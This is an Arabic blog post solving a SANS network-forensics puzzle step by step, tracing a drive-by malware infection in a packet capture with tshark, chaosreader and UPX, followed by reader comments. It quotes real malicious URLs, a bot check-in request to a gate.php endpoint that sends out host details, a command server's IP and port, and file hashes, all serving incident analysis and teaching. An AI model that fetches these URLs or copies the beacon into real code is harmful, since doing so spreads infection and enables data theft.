تحليل لإصابة ببرمجيّات خبيثة خطوة بخطوة

في هذه التدوينة إن شاء الله سنتطرق إلى شرح عملي خطوة بخطوة لإصابة حاسوب ببرمجيّات خبيثة. هذه المشاركة تعتمد ملف تمّ التقاطه من الشبكة لإصابة حقيقيّة. الملف جاء ضمن مسابقة عقدها معهد سانز لأمن المعلومات. هذه المسابقة شهريّة وأنصح الجميع بمتبعتها، ومحاولة حلّ ألغازها إن كان لديكم الوقت، فالفائدة المتأتيّة من ورائها لاشك كبيرة.

تفاصيل اللغز:

في صبيحة أحد الأيّام وبينما كانت الآنسة مونيماني ترتشف قوتها وتمرّ سريعاً على الرسائل الالكترونيّة التي وصلتها ليلاً. أحد هذه الرّسائل لفتت انتباهها وذلك لأنّ الرسالة والتي من الواضح أنّها عبارة عن بريد مزعج، قد نفدت من خلال المرشّحات. الرسالة عبارة عن دعاية لشراء دواء عبر الويب وتحتوي على رابط. تسألت في نفسها الآنسة مونيماني هل يقع النّاس حقيقة ضحايا لهكذا أشياء؟ دفعها فضولها لترى ما الذي يحتويه الموقع لاقتناع زوّاره بالشّراء، ولذلك ضغطت على الرّابط.

الموقع كان بطيئاً في التّحميل، وبدى وكأنّه لا يعمل. لم يكن هناك أي محتوى على الصفحة. أغلقت الآنسة مونيماني المتصفح ومضت في يومها، ولم تلاحظ أن نظامها (ويندوز اكس بي) قد اصيب ببرمجيّات ضارّة.

أنت كمحقق رقمي. حصلت على حزمة البيانات التي تحتوي على تفاعل الآنسة مونيماني مع الموقع. مهمّتك هي فهم ما الذي حصل بالضبط معها؟

حزمة البيانات الملتقطة يمكن تحميلها من هنا

تحذير: الملف يحتوي على برمجيّات خبيثة حقيق لذلك هناك إمكانيّة عالية لإصابة حاسوبك بهذه البرمجيّات. اعمل في بيئة تتحكم بها أنت.

الأسئلة و الحلّ:

السؤال الأول: كجزء من عمليّة الإصابة، المتصفح قام بتحميل ملفين Java Applets. ما هي أسماء الملفات ذات الامتداد jar التي تتطبق هذان الملفان؟

من خلال استخدام tshark لقراءة حزمة البيانات يمكن مشاهدة الآتي:

tshark -r infected.pcap -R http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri -e http.request.method | awk '{print $1," => ",$2, "\t ","http://"$3$4}' 

[..]
192.168.23.129  =>  59.53.91.102       http://nrtjo.eu/q.jar
192.168.23.129  =>  59.53.91.102       http://nrtjo.eu/sdfg.jar
[..]

كما هو ظاهر في المخرجات أعلاه، هناك ملفان اثنان جرى تحميلهما وهما “q.jar” and “sdfg.jar” الملفان هما عبارة عن Java Applets

يمكن كذلك باستخدام Wireshark أو chaosreader استخراج الصفحة نفسها وهي true.php مشاهدة الملفّين في الكود المصدري

Viewing true.php source
document.write('')




السؤال الثاني: ما اسم المستخدم على النّظام المصاب أثناء عمليّة الإصابة؟

باستخدام tshark مرّة أخرى نحصل على الآتي:

tshark -r infected.pcap -R http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri -e http.request.method | awk '{print $1," => ",$2, "\t ","http://"$3$4}'
192.168.23.129  =>  212.252.32.20       http://freeways.in/11111/gate.php?guid=ADMINISTRATOR!TICKLABS-LZ!1C7AE7C1&ver=10084&stat=ONLINE&ie=8.0.6001.18702&os=5.1.2600&ut=Admin&cpu=92&ccrc=5A4F4DF7&md5=5942ba36cf732097479c51986eee91ed

السؤال الثالث: ماهو الرابط الذي بدأت به الاصابة؟ أو بمعنى آخر ما هو الرابط الذي ضغطت عليه الآنسة مونيماني؟

مرّة أخرى نعود إلى صديقنا tshark

tshark -r infected.pcap -R http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," => ",$2, "\t ","http://"$3$4}'
192.168.23.129  ->  59.53.91.102       http://nrtjo.eu/true.php

كما تلاحظون أعلاه، الرابط الذي بدأ الإصابة هو hxxp://nrtjo.eu/true.php

باستخدام غوغل نبحث عن النطاق nrtjo.eu. نتائج البحث أظهرت أن عدّة مواقع مختصّة في تتبع المواقع الضارّة أشارت إلى الموقع على أنّه موقع ضار. فمثلاً موقع malwareurl أظهر المعلومات التّاليّة:

http://www.malwareurl.com/listing.php?domain=nrtjo.eu

Malicious URLs on nrtjo.eu
/index.php
/true.php
/xxx.xxx
//pdf.php?spl=ie
//loading.php?spl=pdf_email_

من خلال قراءة الكود المصدري يمكننت رؤيّة أنّ الصفحة true.php تقوم بطلب العنوان الآتي
hxxp://nrtjo.eu//loading.php?spl=javad


باستخدام chaosreader.pl يمكننا مشاهدة أن الرّابط أعلاه يقوم بتحميل ملف اسمه file.exe

www: 192.168.23.129:1066 -> 59.53.91.102:80
File infected.pcap, Session 11
GET //loading.php?spl=javadnw&J050006010 HTTP/1.1
User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_05
Host: nrtjo.eu
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 17 Mar 2010 00:56:05 GMT
Content-Type: application/octet-stream
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.2.11
Content-Disposition: inline; filename=file.exe

السؤال الرّابع: كجزء من عمليّة الإصابة، ملف تنفيذي خبيث تمّ تحميله على نظام الآنسة مونيماني، ما هو ال md5 لهذا الملف؟ تلميح: ال md5 ينتهي ب 91ed

إذا رجعنا إلى السؤال الثاني، نلاحظ أنّه يحتوي على md5=5942ba36cf732097479c51986eee91ed والذي ينتهي ب 91ed

السؤال الخامس: ما هو اسم الحزمة التي استخدامت لتغليف هذا الملف؟ ملاحظة هذه الحزمة هي احدى اشهر المغلّفات

من مخرجات chaosreader لدينا file.exe.octect-stream عندما نقوم بتمرير هذا الملف إلى hexdump نلاحظ الآتي:

$hexdump -C file.exe.octet-stream
000001e0  55 50 58 30 00 00 00 00  00 80 00 00 00 10 00 00  |UPX0............|
000001f0  00 00 00 00 00 04 00 00  00 00 00 00 00 00 00 00  |................|
00000200  00 00 00 00 80 00 00 e0  55 50 58 31 00 00 00 00  |........UPX1....|
00000210  00 10 01 00 00 90 00 00  00 02 01 00 00 04 00 00  |................|
00000220  00 00 00 00 00 00 00 00  00 00 00 00 40 00 00 e0  |............@...|
00000230  2e 72 73 72 63 00 00 00  00 10 00 00 00 a0 01 00  |.rsrc...........|
00000240  00 04 00 00 00 06 01 00  00 00 00 00 00 00 00 00  |................|
00000250  00 00 00 00 40 00 00 c0  00 00 00 00 00 00 00 00  |....@...........|
00000260  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
000003d0  00 00 00 00 00 00 00 00  00 00 00 33 2e 30 34 00  |...........3.04.|

كما نلاحظ لدينا في المخرجات UPX وهو كما هو معروف مغلّف مشهور. 3.04 هو رقم الاصدارة.

السؤال السادس: ما هو ال md5 هاش لنّسخة الغير مغلّفة من الملف؟

نقوم باستخدام UPX من أجل رفع التغليف عن الملف:

./upx -k -d file.exe.octet-stream

ثمّ نقوم بتمرير الملف على md5sumt فنحصل على الآتي:
0f37839f48f7fc77e6d50e14657fb96e

السؤال السابع: الملف التنفيذي الخبيث يقوم بمحاولة اتصال عبر الانترنت بموقع باستخدام عنوان مثبّت داخل الملف بمعنى لم يكن هناك استعلام DNS. ما هو هذا العنوان؟

باستخدام chaosreader نلاحظ ان النظام المصاب قام بالاتصال بالعنوان 213.155.29.144 على المنفذ 444. نستخدم غوغل للبحث عن العنوان فيظهر لنا الآتي في موقع نورتن:

https://safeweb.norton.com/report/show?name=213.155.29.144
213.155.29.144
Summary
Computer Threats:              1
Identity Threats:                 0
Annoyance factors:              0
Total threats on this site:     1

انتهى الحلّ. هذا يظهر لنا سهولة عملية الإصابة خصوصاً وأنّ المستخدم يستخدم حساب المدير في تصفحه للانترنت. إذا كان لديكم أيّ أسئلة متعلّقة في هذا الحل، فلا تتردوا بطرحها في تعليقاتكم. كيف تعمل هذه الأدوات سنتطرق لها في تدوينات أخرى إن شاء الله.

نبذة عن الكاتب

بشار ماجستير نظم معلومات. مهندس أنظمة يمتلك خبرة في إدارة أنظمة ويندوز ولينكس. باحث ومختصص في مجال أنظمة المعلومات، معالجة الحوادث الأمنيّة، تحليل الإختراقات الأمنيّة، وفحصوصات الاختراق. حاصل على العديد من الشهادات الأمنيّة. عضو في مجلس استشاريّي معهد سانز لأمن المعلومات.

التعليقات:

أضف تعليقاً | عدد التعليقات: (7)

  1. يقول البرنس:

    ما شاء الله شرح ولا اروع بسيط وتحليل يصل للقراء بمختلف امكانيتهم
    اشكرك اخ بشار وارجو الاستمرار وجعلها سلسله من المقالات

  2. يقول XxRa3eDxX:

    السلام عليكم ..

    تحليل رائع فعلا ..ان كانت طويله نوعا ما الا انها ممتعه فعلا عندما يكون الأمر حقيقيا .. فتجد انك تصل للمعلومات في كل خطوة ..

    اشكرك اخي بشار .. وننتظر حلقه اخرى من هذه التحليلات .. <<< لم لا يكون لها قسم خاص بالتحليلات ويتم اضافه حلقات عن طرق مختلفه من الإصابه ..

    بالتوفيق
    سلام عليكم

  3. يقول Ahmed:

    ما شاء اللًه ابدعت يا بشار فعلا 🙂

    بالفعل مسابقة رائعة و عجبني تحليلك صراحة و ان شاء اللًه احاول اشارك في المسابقة في الشهر القادم

  4. يقول Hit-Man:

    السلام عليكم

    شكرا لكم أخي على الوضوع و على الشرح و على المجهودات أخي
    جعلها الله في ميزان حسناتك
    تحياتي
    Hit-Man

  5. يقول M-Elmasry:

    السلام عليكم ورحمة الله

    شرح جميل جدا بس اذا الواحد حب يوصل لدرجة جيدة بهذه الامور ماالمطلوب حتى يصل الى درجة جيدة من العلم فى هذا المجال ؟

    وشكرا

  6. يقول MafiaBoy:

    يجب علك حبيي ان تتعلم الهندسة العكسية. وشكرا لكم شح جميل و الله ز مستوى رائع ولكن ياريت تذكروا ادق التفاصيل.

  7. يقول Malware analysis:

    […] Click hear to read whole topic → […]

أكتب تعليق